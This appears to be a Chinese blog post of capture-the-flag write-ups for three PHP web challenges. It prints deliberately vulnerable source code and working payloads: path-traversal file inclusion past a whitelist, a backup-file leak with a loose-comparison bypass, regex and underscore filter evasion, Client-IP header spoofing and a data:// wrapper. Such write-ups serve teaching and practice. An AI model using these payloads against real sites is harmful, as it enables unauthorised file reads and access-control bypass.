点击 F12 查看源代码,发现 source.php
进入 source.php,看到 php 源代码

<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        // 定义白名单:source.php和hint.php
        $whitelist = ["source" => "source.php", "hint" => "hint.php"];
        // 若page为空或page不是字符串时,返回false
        if (!isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }
        // page在白名单中返回true
        if (in_array($page, $whitelist)) {
            return true;
        }
        // 在page中查找“?”,并令_page等于page在第一个“?”之前的部分
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        // url解码,相当于二次url解码
        $_page = urldecode($page);
        // 在page中查找“?”,并令_page等于page在第一个“?”之前的部分
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}
// file可用get方法或post方法传递
// 当file不为空、为字符串、checkFile函数返回true时显示文件,否则显示滑稽图片
if (!empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

查看源码得知 hint.php 的存在,进入 hint.php,看到

flag not here, and flag in ffffllllaaaagggg

得知 flag 在 ffffllllaaaagggg 文件中

再看源代码,发现第二次和第三次判断 page 是否在白名单中的时候可以利用

于是尝试在 url 后加上 ?file=source.php?/ffffllllaaaagggg 或者 ?file=source.php%253F/ffffllllaaaagggg,但没有找到文件

接下来使用 ../ 跳转目录,多试几次,得到 flag
payload:?file=source.php?/../../../../ffffllllaaaagggg

[ACTF2020 新生赛]BackupFile

php 有两种备份文件命名格式:.php~.php.bak

因为题目名提示了备份文件,输入 index.php.bak,成功下载到 index.php 的源代码:

<?php
include_once "flag.php";
// 以get方法传入key
if(isset($_GET['key'])) {
    $key = $_GET['key'];
    // 如果key不是数字就退出
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    // 把key转为int类型
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    // 当key和flag相等时打印flag
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

因为判断 key 和 str 是否相等时用的是 ==,可以构造 key 为 123 来绕过判断,得到 flag

payload:index.php?key=123

[MRCTF 2020]套娃

老 题 新 做

在源代码中看到:

// 1st
$query = $_SERVER['QUERY_STRING'];
// 查询字符串中不能有“_”和%5f
if (substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0) {
    die('Y0u are So cutE!');
}
// 过滤传入的b_u_p_t
if ($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])) {
    echo "you are going to the next ~";
}

百度了一下,发现 _ 可以被 . 代替,而且正则表达式里的 ^$ 指的是一行的行头和行尾,所以可以在最后用 %0a 绕过

构造 ?b.u.p.t=23333%0a,成功绕过,显示:

FLAG is in secrettw.php

进入 secrettw.php,看到一堆 JSFuck 代码,运行一下,显示:

post me Merak

于是用 post 方法随便给 Merak 传一个值,得到 php 源代码:

<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir', '.');
include 'flag.php';
if (isset($_POST['Merak'])) {
    highlight_file(__FILE__);
    die();
}
function change($v)
{
    $v = base64_decode($v);
    $re = '';
    for ($i = 0; $i < strlen($v); $i++) {
        $re .= chr(ord($v[$i]) + $i * 2);
    }
    return $re;
}
echo 'Local access only!' . "<br/>";
$ip = getIp();
// IP地址必须是127.0.0.1
if ($ip != '127.0.0.1') {
    echo "Sorry,you don't have permission!  Your ip is :" . $ip;
}
if ($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day') {
    // file要经过change函数转换
    echo "Your REQUEST is:" . change($_GET['file']);
    echo file_get_contents(change($_GET['file']));}

首先解决 IP 地址的问题
先抓包,改下 XFF 头,结果不行
百度一下才知道还有一个 Client-IP 头
加上 Client-IP: 127.0.0.1,成功

接下来用 data 协议构造:
secrettw.php?2333=data://text/plain,todat%20is%20a%20happy%20day

最后为了显示 flag.php 的内容,分析一下 change 函数
构造出 payload,得到 flag

payload:

secrettw.php?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

标签

john_doe

Merak 铁菜鸡一枚

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.